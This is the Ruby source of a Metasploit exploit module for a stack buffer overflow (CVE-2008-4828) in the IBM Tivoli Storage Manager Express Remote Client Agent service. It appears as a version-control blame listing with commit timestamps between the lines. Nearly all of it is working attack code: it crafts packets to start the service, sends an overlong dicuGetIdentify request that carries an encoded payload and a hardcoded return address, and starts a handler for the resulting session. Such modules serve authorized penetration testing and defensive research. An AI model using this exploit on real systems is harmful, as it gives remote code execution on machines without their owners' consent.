2009-12-20 22:40:14 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-20 22:40:14 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-20 22:40:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-21 07:56:48 +00:00
|
|
|
Rank = GreatRanking
|
2009-12-20 22:40:14 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-12-20 22:40:14 +00:00
|
|
|
'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote
|
2010-04-30 08:40:19 +00:00
|
|
|
Client Agent service. By sending a "dicuGetIdentify" request packet containing a long
|
2009-12-20 22:40:14 +00:00
|
|
|
NodeName parameter, an attacker can execute arbitrary code.
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
NOTE: this exploit first connects to the CAD service to start the RCA service and obtain
|
2009-12-20 22:40:14 +00:00
|
|
|
the port number on which it runs. This service does not restart.
|
|
|
|
},
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-4828' ],
|
|
|
|
[ 'OSVDB', '54232' ],
|
|
|
|
[ 'BID', '34803' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
# wchar_t buf[1024];
|
|
|
|
'Space' => ((1024*2)+4),
|
2011-06-28 19:45:51 +00:00
|
|
|
'BadChars' => "\x00",
|
2009-12-20 22:40:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-12-20 22:40:14 +00:00
|
|
|
[
|
|
|
|
# this target should be pretty universal..
|
|
|
|
# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
|
|
|
|
[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Nov 04 2009'))
|
2009-12-20 22:40:14 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options( [ Opt::RPORT(1582) ], self.class )
|
2009-12-20 22:40:14 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
def make_tsm_packet(op,data)
|
|
|
|
pkt = ""
|
|
|
|
if op > 0xff
|
2009-12-20 22:45:33 +00:00
|
|
|
pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')
|
2009-12-20 22:40:14 +00:00
|
|
|
else
|
|
|
|
pkt << [data.length,op,0xa5].pack('nCC')
|
|
|
|
end
|
|
|
|
pkt << data
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
def explode_tsm_packet(buf)
|
|
|
|
return nil if buf.length < 4
|
|
|
|
len,op,magic = buf[0,4].unpack('nCC')
|
|
|
|
return nil if magic != 0xa5
|
|
|
|
if op == 0x08
|
|
|
|
return nil if buf.length < 12
|
|
|
|
op,len = buf[4,8].unpack('NN')
|
|
|
|
data = buf[12,len]
|
|
|
|
else
|
|
|
|
data = buf[4,len]
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
return op,data
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
def extract_port(buf)
|
|
|
|
op,data = explode_tsm_packet(buf)
|
|
|
|
if op != 0x10300
|
|
|
|
print_error("Invalid response verb from CAD service: 0x%x" % op)
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
if data.length < 6
|
|
|
|
print_error("Insufficient data from CAD service.")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
port_str_len = data[4,2].unpack('n')[0]
|
|
|
|
if data.length < (24+port_str_len)
|
|
|
|
print_error("Insufficient data from CAD service.")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
def exploit
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
print_status("Trying target %s..." % target.name)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
# first get the port number
|
|
|
|
query = [1].pack('n')
|
|
|
|
query << "\x00" * 10
|
|
|
|
data = make_tsm_packet(0x10200, query)
|
|
|
|
|
|
|
|
connect
|
|
|
|
print_status("Attempting to start the RCA service via the CAD service...")
|
|
|
|
sock.put(data)
|
|
|
|
buf = sock.get_once(-1, 10)
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
rca_port = extract_port(buf)
|
|
|
|
if not rca_port or rca_port == 0
|
|
|
|
print_error("The RCA agent service was not started :(")
|
|
|
|
else
|
|
|
|
print_status("RCA Agent is now running on port %u" % rca_port)
|
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
# trigger the vulnerability
|
|
|
|
copy_len = payload_space + 4
|
|
|
|
sploit = rand_text(33)
|
|
|
|
# start offset, length
|
|
|
|
sploit[10,4] = [0,copy_len].pack('n*')
|
|
|
|
# data to copy
|
|
|
|
buf = payload.encoded
|
|
|
|
# we need this special encoding to make it work..
|
|
|
|
buf << [target.ret].pack('V').unpack('v*').pack('n*')
|
|
|
|
# adjustment :)
|
|
|
|
sploit << buf
|
|
|
|
data = make_tsm_packet(0x10400, sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
connect(true, { 'RPORT' => rca_port })
|
|
|
|
print_status("Sending specially crafted dicuGetIdentifyRequest packet...")
|
|
|
|
sock.write(data)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-20 22:40:14 +00:00
|
|
|
print_status("Starting handler...")
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|